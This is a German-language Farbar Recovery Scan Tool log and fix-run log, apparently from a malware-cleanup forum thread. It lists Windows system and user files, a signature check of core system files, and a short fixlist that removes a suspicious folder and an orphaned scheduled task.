2017-04-23 14:16 - 2017-03-13 18:06 - 00236032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmWmiPl.dll
2017-04-23 14:16 - 2017-03-11 01:38 - 00275800 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\msiscsi.sys
2017-04-23 14:16 - 2017-03-09 22:52 - 00293376 _____ (Microsoft Corporation) C:\Windows\system32\wisp.dll
2017-04-23 14:16 - 2017-03-09 21:17 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wisp.dll
2017-04-23 14:16 - 2017-03-08 04:44 - 00448285 _____ C:\Windows\system32\ApnDatabase.xml
2017-04-17 12:52 - 2017-06-05 15:50 - 00000000 ____D C:\Windows\Update
2017-04-12 11:01 - 2017-04-29 00:44 - 00835576 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-04-12 11:01 - 2017-04-29 00:44 - 00177656 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-04-12 10:52 - 2017-03-14 16:26 - 03714560 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-04-12 10:51 - 2017-03-14 21:06 - 00136904 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-04-12 10:51 - 2017-03-14 16:09 - 02240512 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-04-12 10:51 - 2017-03-14 16:08 - 00897024 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-04-12 10:51 - 2017-03-14 16:06 - 00726528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-04-12 10:51 - 2017-03-13 18:13 - 00035840 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-04-12 10:51 - 2017-03-13 18:12 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-04-12 10:51 - 2017-03-13 18:08 - 00409088 _____ (Microsoft Corporation) C:\Windows\system32\WUSettingsProvider.dll
2017-04-12 10:51 - 2017-03-13 18:08 - 00095744 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-04-12 10:51 - 2017-03-13 17:59 - 00124928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-04-12 10:51 - 2017-03-13 17:59 - 00029696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-04-12 10:51 - 2017-03-13 17:56 - 00081920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-04-12 10:51 - 2017-03-12 17:04 - 00033792 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\BasicRender.sys
2017-04-12 10:51 - 2017-03-11 05:59 - 01763888 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll
2017-04-12 10:51 - 2017-03-11 05:56 - 01489608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll
2017-04-12 10:51 - 2017-03-11 05:44 - 00373080 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
2017-04-12 10:51 - 2017-03-11 05:41 - 00315224 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-04-12 10:51 - 2017-03-09 23:08 - 00044032 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-04-12 10:51 - 2017-03-09 21:29 - 00035840 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-04-12 10:51 - 2017-03-04 21:24 - 00132096 _____ (Microsoft Corporation) C:\Windows\system32\rdpudd.dll
2017-04-12 10:51 - 2017-03-04 21:06 - 00091648 _____ (Microsoft Corporation) C:\Windows\system32\asycfilt.dll
2017-04-12 10:51 - 2017-03-04 20:15 - 00077824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\asycfilt.dll
2017-04-12 10:51 - 2017-03-04 18:37 - 03547648 _____ (Microsoft Corporation) C:\Windows\system32\rdpcorets.dll
2017-04-12 10:51 - 2017-03-03 17:11 - 01697792 _____ (Microsoft Corporation) C:\Windows\system32\quartz.dll
2017-04-12 10:51 - 2017-03-03 17:10 - 00138752 _____ (Microsoft Corporation) C:\Windows\system32\mfmjpegdec.dll
2017-04-12 10:51 - 2017-03-03 17:06 - 01501184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\quartz.dll
2017-04-12 10:51 - 2017-03-03 17:04 - 00092672 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmjpegdec.dll
2017-04-12 10:51 - 2017-02-11 20:18 - 00477184 _____ (Microsoft Corporation) C:\Windows\system32\puiobj.dll
2017-04-12 10:51 - 2017-02-11 19:00 - 00865792 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-04-12 10:51 - 2017-02-11 18:49 - 00269824 _____ (Microsoft Corporation) C:\Windows\system32\DafPrintProvider.dll
2017-04-12 10:51 - 2017-02-11 18:42 - 00204288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DafPrintProvider.dll
2017-04-12 10:51 - 2017-02-10 21:06 - 00285184 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-04-12 10:51 - 2017-02-10 16:37 - 00046600 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\WdBoot.sys
2017-04-12 10:51 - 2017-02-04 19:53 - 00111616 _____ (Microsoft Corporation) C:\Windows\system32\samlib.dll
2017-04-12 10:51 - 2017-02-04 19:51 - 00842240 _____ (Microsoft Corporation) C:\Windows\system32\samsrv.dll
2017-04-12 10:51 - 2017-02-04 19:19 - 00065024 _____ (Microsoft Corporation) C:\Windows\SysWOW64\samlib.dll
2017-04-12 10:51 - 2017-02-01 21:44 - 00201728 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-04-12 10:51 - 2017-02-01 21:42 - 00401408 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-04-12 10:51 - 2017-01-19 04:18 - 01113944 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ndis.sys
2017-04-12 10:51 - 2017-01-18 16:35 - 00994760 _____ (Microsoft Corporation) C:\Windows\system32\ucrtbase.dll
2017-04-12 10:51 - 2017-01-18 16:34 - 00922432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ucrtbase.dll
2017-04-12 10:51 - 2017-01-14 22:32 - 00955016 _____ (Microsoft Corporation) C:\Windows\system32\mfmp4srcsnk.dll
2017-04-12 10:51 - 2017-01-14 21:18 - 00787688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmp4srcsnk.dll
2017-04-12 10:51 - 2017-01-12 18:51 - 00274776 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\WdFilter.sys
2017-04-12 10:51 - 2017-01-12 18:51 - 00117592 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\WdNisDrv.sys
2017-04-12 10:51 - 2017-01-12 08:12 - 00990040 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\http.sys
2017-04-12 10:51 - 2017-01-11 21:12 - 00342016 _____ (Microsoft Corporation) C:\Windows\system32\SessEnv.dll
2017-04-12 10:51 - 2017-01-11 19:28 - 00422744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\spaceport.sys
2017-04-12 10:51 - 2017-01-11 17:09 - 00296960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SessEnv.dll
2017-04-12 10:51 - 2017-01-11 00:37 - 00138752 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dfsc.sys
2017-04-12 10:51 - 2017-01-10 23:06 - 00840192 _____ (Microsoft Corporation) C:\Windows\system32\netlogon.dll
2017-04-12 10:51 - 2017-01-10 22:46 - 01388544 _____ (Microsoft Corporation) C:\Windows\system32\mispace.dll
2017-04-12 10:51 - 2017-01-10 21:20 - 00696832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\netlogon.dll
2017-04-12 10:51 - 2017-01-10 21:09 - 01108480 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mispace.dll
2017-04-12 10:51 - 2017-01-06 19:25 - 02513408 _____ (Microsoft Corporation) C:\Windows\system32\storagewmi.dll
2017-04-12 10:51 - 2017-01-06 19:04 - 01495552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\storagewmi.dll
2017-04-12 10:51 - 2016-12-25 03:21 - 00040960 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\scfilter.sys
2017-04-12 10:51 - 2016-12-25 03:14 - 00242176 _____ (Microsoft Corporation) C:\Windows\system32\WinSCard.dll
2017-04-12 10:51 - 2016-12-25 02:48 - 00158720 _____ (Microsoft Corporation) C:\Windows\system32\certprop.dll
2017-04-12 10:51 - 2016-12-25 02:19 - 00170496 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinSCard.dll
2017-04-12 10:51 - 2016-12-25 01:39 - 00133120 _____ (Microsoft Corporation) C:\Windows\system32\ScDeviceEnum.dll
2017-04-12 10:51 - 2016-12-09 10:08 - 00379736 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\storport.sys
2017-03-28 19:39 - 2017-06-05 15:50 - 00000000 ____D C:\Windows\system32\log
2017-03-22 23:56 - 2017-03-22 23:56 - 00000000 ____D C:\Users\Public\Documents\Steam
2017-03-22 23:46 - 2017-03-29 10:52 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Call of Duty Modern Warfare Remastered
2017-03-19 16:46 - 2017-03-19 16:46 - 00000000 ____D C:\Users\Nick Schuster\Documents\Audacity
2017-03-19 16:30 - 2017-03-19 16:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\audacity
2017-03-19 15:51 - 2017-04-04 11:44 - 00000000 ____D C:\Users\Nick Schuster\Desktop\Viedeo
2017-03-19 15:48 - 2017-03-19 15:48 - 00000000 ____D C:\Users\Nick Schuster\Desktop\allgemein
2017-03-19 14:02 - 2017-03-19 16:15 - 00001283 _____ C:\Users\Nick Schuster\Desktop\Adobe After Effects CC 2015.lnk
2017-03-19 13:49 - 2017-03-19 13:49 - 00000000 ____D C:\Users\Public\Documents\AdobeInstalledCodecs
2017-03-19 13:44 - 2017-03-19 13:44 - 00001251 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe After Effects CC 2015.lnk
2017-03-19 13:42 - 2017-03-19 13:42 - 00001357 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Character Animator (Preview).lnk
2017-03-19 13:40 - 2017-03-19 13:49 - 00000000 ____D C:\Program Files\Common Files\Adobe
2017-03-19 13:38 - 2017-03-21 15:01 - 00001567 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Application Manager.lnk
2017-03-19 11:39 - 2017-03-19 11:39 - 00003518 _____ C:\Windows\System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-wiiu02015@outlook.de
2017-03-19 11:38 - 2017-03-21 21:32 - 00000000 ____D C:\Users\Nick Schuster\Documents\Adobe
2017-03-19 11:25 - 2017-03-19 11:55 - 00000000 ___RD C:\Users\Nick Schuster\Creative Cloud Files
2017-03-19 11:25 - 2017-03-19 11:25 - 00000000 ____D C:\ProgramData\boost_interprocess
2017-03-18 23:48 - 2017-03-18 23:48 - 00000000 ____D C:\Users\Nick Schuster\Documents\CPY_SAVES
2017-03-18 15:14 - 2017-03-18 15:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\MegaDownloader
2017-03-18 15:14 - 2017-03-18 15:14 - 00000000 ____D C:\Program Files\MegaDownloader
2017-03-18 14:21 - 2017-03-18 14:21 - 00000000 ____D C:\Program Files (x86)\ASIO4ALL v2
2017-03-18 14:20 - 2017-03-18 14:20 - 00000000 ____D C:\Program Files\Steinberg
2017-03-18 14:20 - 2017-03-18 14:20 - 00000000 ____D C:\Program Files (x86)\Steinberg
2017-03-18 14:19 - 2015-03-11 12:47 - 01554944 _____ (HMS hxxp://hp.vector.co.jp/authors/VA012897/) C:\Windows\SysWOW64\vorbis.acm
2017-03-18 14:19 - 2015-03-11 12:47 - 01470976 _____ (HMS hxxp://hp.vector.co.jp/authors/VA012897/) C:\Windows\system32\vorbis.acm
2017-03-18 14:14 - 2015-09-04 13:44 - 666655339 _____ (Image-Line ) C:\Users\Nick Schuster\Documents\fl studio 12 crack setup.exe
2017-03-17 15:51 - 2017-03-17 15:54 - 00000000 ___RD C:\Users\Nick Schuster\Documents\MEGA
2017-03-17 15:51 - 2017-03-17 15:51 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Mega Limited
2017-03-17 14:02 - 2017-05-31 10:46 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-03-17 13:45 - 2017-06-07 10:41 - 00003542 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2017-03-17 13:45 - 2017-06-07 10:41 - 00003414 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2017-03-17 12:30 - 2017-03-17 12:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Equalizer APO 1.1.2
2017-03-16 23:29 - 2017-05-14 22:50 - 00000000 ____D C:\Users\Nick Schuster\Desktop\fl studio songs
2017-03-16 13:19 - 2017-05-31 16:11 - 00001312 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-03-15 19:52 - 2017-02-04 22:30 - 01663184 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-03-15 19:52 - 2017-02-04 22:30 - 01523216 _____ (Microsoft Corporation) C:\Windows\system32\winload.exe
2017-03-15 19:52 - 2017-02-04 22:30 - 01490128 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-03-15 19:52 - 2017-02-04 22:30 - 01358960 _____ (Microsoft Corporation) C:\Windows\system32\winresume.exe
2017-03-15 19:52 - 2017-01-05 20:09 - 07076864 _____ (Microsoft Corporation) C:\Windows\system32\glcndFilter.dll
2017-03-15 19:52 - 2017-01-05 19:13 - 07796224 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Data.Pdf.dll
2017-03-15 19:51 - 2017-02-09 17:28 - 01987584 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2017-03-15 19:51 - 2017-02-09 17:19 - 01377792 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-03-15 19:51 - 2017-02-09 17:16 - 01560064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-03-15 19:51 - 2017-02-09 16:59 - 00658432 _____ (Microsoft Corporation) C:\Windows\system32\dnsapi.dll
2017-03-15 19:51 - 2017-02-09 16:58 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dnsapi.dll
2017-03-15 19:51 - 2017-02-09 16:58 - 00252416 _____ (Microsoft Corporation) C:\Windows\system32\dnsrslvr.dll
2017-03-15 19:51 - 2017-02-04 21:32 - 00251392 _____ (Microsoft Corporation) C:\Windows\system32\microsoft-windows-system-events.dll
2017-03-15 19:51 - 2017-02-04 21:30 - 00285184 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-03-15 19:51 - 2017-02-04 20:14 - 01001472 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-03-15 19:51 - 2017-02-04 19:50 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\icm32.dll
2017-03-15 19:51 - 2017-02-04 19:40 - 01754112 _____ (Microsoft Corporation) C:\Windows\system32\GdiPlus.dll
2017-03-15 19:51 - 2017-02-04 19:32 - 00584704 _____ (Microsoft Corporation) C:\Windows\system32\mscms.dll
2017-03-15 19:51 - 2017-02-04 19:17 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\icm32.dll
2017-03-15 19:51 - 2017-02-04 19:10 - 01491456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\GdiPlus.dll
2017-03-15 19:51 - 2017-02-04 19:05 - 00503808 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mscms.dll
2017-03-15 19:51 - 2017-01-21 23:37 - 00567152 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\cng.sys
2017-03-15 19:51 - 2017-01-21 21:27 - 00756736 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-03-15 19:51 - 2017-01-21 21:27 - 00061952 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-03-15 19:51 - 2017-01-21 20:40 - 00756736 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-03-15 19:51 - 2017-01-21 20:40 - 00061952 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-03-15 19:51 - 2017-01-14 19:49 - 00146944 _____ (Microsoft Corporation) C:\Windows\system32\wininit.exe
2017-03-15 19:51 - 2017-01-11 21:37 - 02345984 _____ (Microsoft Corporation) C:\Windows\system32\msxml3.dll
2017-03-15 19:51 - 2017-01-10 21:08 - 01549312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msxml3.dll
2017-03-15 19:51 - 2017-01-05 19:29 - 05273600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\glcndFilter.dll
2017-03-15 19:51 - 2017-01-05 18:57 - 05268480 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Data.Pdf.dll
2017-03-15 17:59 - 2017-03-15 17:59 - 00001110 _____ C:\Users\Public\Desktop\Adobe Photoshop CS6.lnk
2017-03-15 17:59 - 2017-03-15 17:59 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Photoshop CS6
2017-03-15 17:59 - 2017-03-15 17:59 - 00000000 ____D C:\Program Files (x86)\Adobe Photoshop CS6
2017-03-09 19:55 - 2017-03-09 19:55 - 03526400 _____ (Intel Corporation) C:\Windows\system32\Drivers\Netwbw02.sys
2017-03-09 19:55 - 2017-03-09 19:55 - 02553264 _____ (Intel Corporation) C:\Windows\system32\Netwuw04.dll
2017-03-09 15:48 - 2017-03-09 15:48 - 10719648 _____ C:\Windows\system32\Drivers\Netwfw02.dat
2017-03-09 15:14 - 2017-02-23 16:50 - 00093360 _____ (Microsoft Corporation) C:\Windows\system32\CompatTelRunner.exe
2017-03-09 15:14 - 2017-02-22 16:35 - 01609216 _____ (Microsoft Corporation) C:\Windows\system32\appraiser.dll
2017-03-09 15:14 - 2017-02-22 16:35 - 00646656 _____ (Microsoft Corporation) C:\Windows\system32\generaltel.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 01286144 _____ (Microsoft Corporation) C:\Windows\system32\aeinv.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00556544 _____ (Microsoft Corporation) C:\Windows\system32\devinv.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00335360 _____ (Microsoft Corporation) C:\Windows\system32\invagent.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00293376 _____ (Microsoft Corporation) C:\Windows\system32\centel.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00233984 _____ (Microsoft Corporation) C:\Windows\system32\aepic.dll
2017-03-09 15:14 - 2017-01-18 16:35 - 00133632 _____ (Microsoft Corporation) C:\Windows\system32\acmigration.dll

==================== Drei Monate: Ge鋘derte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-07 10:59 - 2016-07-31 16:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CrashDumps
2017-06-07 10:50 - 2015-12-26 16:48 - 00003596 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-3847841184-804715454-2304624315-1001
2017-06-07 10:45 - 2015-12-26 22:26 - 00000180 _____ C:\Windows\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2017-06-07 10:45 - 2015-12-26 17:53 - 00000000 __SHD C:\Users\Nick Schuster\IntelGraphicsProfiles
2017-06-07 10:45 - 2015-12-26 17:46 - 00000000 ___DO C:\Users\Nick Schuster\OneDrive
2017-06-07 10:44 - 2013-08-22 16:45 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-06-07 10:41 - 2016-10-08 16:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Deployment
2017-06-07 10:41 - 2016-08-02 17:25 - 00000000 ____D C:\Program Files (x86)\Google
2017-06-07 10:41 - 2015-12-27 21:26 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Google
2017-06-07 10:34 - 2016-11-18 18:55 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Pleperiedsdeied
2017-06-07 10:34 - 2016-10-13 21:24 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sternetain
2017-06-05 15:57 - 2016-07-31 18:48 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-05 15:44 - 2017-02-20 22:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Mozilla
2017-06-05 15:42 - 2016-09-14 15:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adobe
2017-06-05 15:41 - 2016-07-31 14:30 - 00000008 __RSH C:\Users\Nick Schuster\ntuser.pol
2017-06-05 15:41 - 2015-12-26 16:37 - 00000000 ____D C:\Users\Nick Schuster
2017-06-05 15:36 - 2016-11-18 14:18 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ
2017-06-05 15:36 - 2016-01-21 14:13 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Temp
2017-06-05 14:38 - 2016-01-11 18:42 - 07433728 ___SH C:\Users\Nick Schuster\Desktop\Thumbs.db
2017-06-05 12:04 - 2014-11-21 05:35 - 01776918 _____ C:\Windows\system32\PerfStringBackup.INI
2017-06-05 12:04 - 2014-11-21 04:45 - 00765582 _____ C:\Windows\system32\perfh007.dat
2017-06-05 12:04 - 2014-11-21 04:45 - 00159366 _____ C:\Windows\system32\perfc007.dat
2017-06-05 12:04 - 2013-08-22 15:36 - 00000000 ____D C:\Windows\Inf
2017-06-04 10:17 - 2016-09-17 17:52 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\vlc
2017-06-02 16:14 - 2016-06-01 16:03 - 01862144 ___SH C:\Users\Nick Schuster\Downloads\Thumbs.db
2017-06-01 23:52 - 2013-08-22 15:25 - 00262144 ___SH C:\Windows\system32\config\BBI
2017-06-01 19:26 - 2015-12-29 20:54 - 00000000 ____D C:\Windows\pss
2017-06-01 12:01 - 2016-07-05 17:55 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adblock Plus for IE
2017-05-31 17:34 - 2017-02-12 14:31 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Bluestacks
2017-05-31 17:34 - 2013-08-22 17:36 - 00000000 __RHD C:\Users\Public\Libraries
2017-05-31 17:31 - 2016-06-14 20:57 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sony
2017-05-31 13:52 - 2016-09-17 17:56 - 00000000 ____D C:\ProgramData\Apple
2017-05-30 14:12 - 2016-12-27 21:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2017-05-30 14:05 - 2017-02-03 12:28 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Samsung
2017-05-30 14:05 - 2017-02-03 12:27 - 00000000 ____D C:\Program Files (x86)\Samsung
2017-05-30 14:05 - 2016-10-23 18:05 - 00000000 ____D C:\ProgramData\Samsung
2017-05-29 23:08 - 2017-02-13 16:13 - 00000000 ____D C:\Program Files (x86)\Minecraft
2017-05-29 23:08 - 2016-12-10 12:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\.minecraft
2017-05-29 21:59 - 2016-10-12 16:07 - 00000000 ____D C:\Program Files\Image-Line
2017-05-26 18:19 - 2016-11-18 17:58 - 00000000 ____D C:\Program Files (x86)\Steam
2017-05-26 10:55 - 2016-01-04 18:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\SUPPORTDIR
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\install_backup
2017-05-25 15:49 - 2017-02-03 12:27 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-25 15:49 - 2016-10-13 22:01 - 00000000 ____D C:\ProgramData\TEMP
2017-05-24 11:40 - 2017-02-27 11:37 - 00000000 ____D C:\ProgramData\CanonIJPLM
2017-05-23 15:40 - 2013-08-22 17:20 - 00000000 ____D C:\Windows\CbsTemp
2017-05-23 15:34 - 2015-12-28 20:55 - 132223576 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-05-23 15:34 - 2015-12-28 20:55 - 00000000 ____D C:\Windows\system32\MRT
2017-05-22 21:46 - 2015-12-27 00:10 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Skype
2017-05-22 21:24 - 2016-09-24 19:16 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-22 21:24 - 2015-12-27 00:10 - 00002715 _____ C:\Users\Public\Desktop\Skype.lnk
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ____D C:\ProgramData\Skype
2017-05-21 19:04 - 2015-12-26 22:50 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-05-21 19:03 - 2017-02-26 13:05 - 00000991 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-05-21 19:03 - 2017-02-26 13:05 - 00000979 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-05-17 18:44 - 2016-08-20 12:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\TeamViewer
2017-05-17 16:58 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-05-17 16:41 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\FxsTmp
2017-05-16 15:15 - 2017-03-07 15:40 - 00000000 ____D C:\Users\Nick Schuster\.gimp-2.8
2017-05-14 16:21 - 2016-07-31 16:03 - 05282048 _____ C:\Windows\system32\FNTCACHE.DAT
2017-05-14 16:16 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\PolicyDefinitions
2017-05-13 00:45 - 2017-02-12 16:33 - 00000000 ____D C:\Users\Nick Schuster\Desktop\BSHelper
2017-05-09 18:25 - 2016-11-08 22:46 - 00004496 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2017-05-09 18:25 - 2016-10-13 18:22 - 00004342 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-05-09 17:25 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\Macromed

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2016-12-12 23:28 - 2016-12-12 23:28 - 0001120 _____ () C:\Users\Nick Schuster\AppData\Roaming\.minecraft - Verkn黳fung.lnk
2010-08-28 22:43 - 2010-08-28 22:43 - 0096256 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinApi.dll
2010-08-28 22:43 - 2010-08-28 22:43 - 0060928 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinUsbApi.dll
2017-03-07 15:59 - 2017-03-07 15:59 - 0003330 _____ () C:\Users\Nick Schuster\AppData\Local\recently-used.xbel
2016-01-07 17:00 - 2016-12-17 21:05 - 0007598 _____ () C:\Users\Nick Schuster\AppData\Local\Resmon.ResmonCfg
2017-02-12 14:36 - 2017-04-22 20:22 - 0000552 _____ () C:\Users\Nick Schuster\AppData\Local\TroubleshooterConfig.json
2016-10-21 22:16 - 2016-10-23 18:04 - 0000158 _____ () C:\Users\Nick Schuster\AppData\Local\uts.ini

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix f黵 Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\Windows\system32\winlogon.exe => Datei ist digital signiert
C:\Windows\system32\wininit.exe => Datei ist digital signiert
C:\Windows\explorer.exe => Datei ist digital signiert
C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\Windows\system32\svchost.exe => Datei ist digital signiert
C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\Windows\system32\services.exe => Datei ist digital signiert
C:\Windows\system32\User32.dll => Datei ist digital signiert
C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\Windows\system32\userinit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\Windows\system32\rpcss.dll => Datei ist digital signiert
C:\Windows\system32\dnsapi.dll => Datei ist digital signiert
C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-05-23 15:34

==================== Ende von FRST.txt ============================
--- --- ---

[/CODE]

Code:

Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 05-06-2017
durchgef黨rt von Nick Schuster (07-06-2017 10:43:33) Run:2
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************

CloseProcesses:
C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES
2017-05-07 13:16 - 2016-12-17 15:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Chromium
Task: {6557BCB6-2F27-448C-ACA4-7E86E4B009E5} - \Update -> Keine Datei <==== ACHTUNG
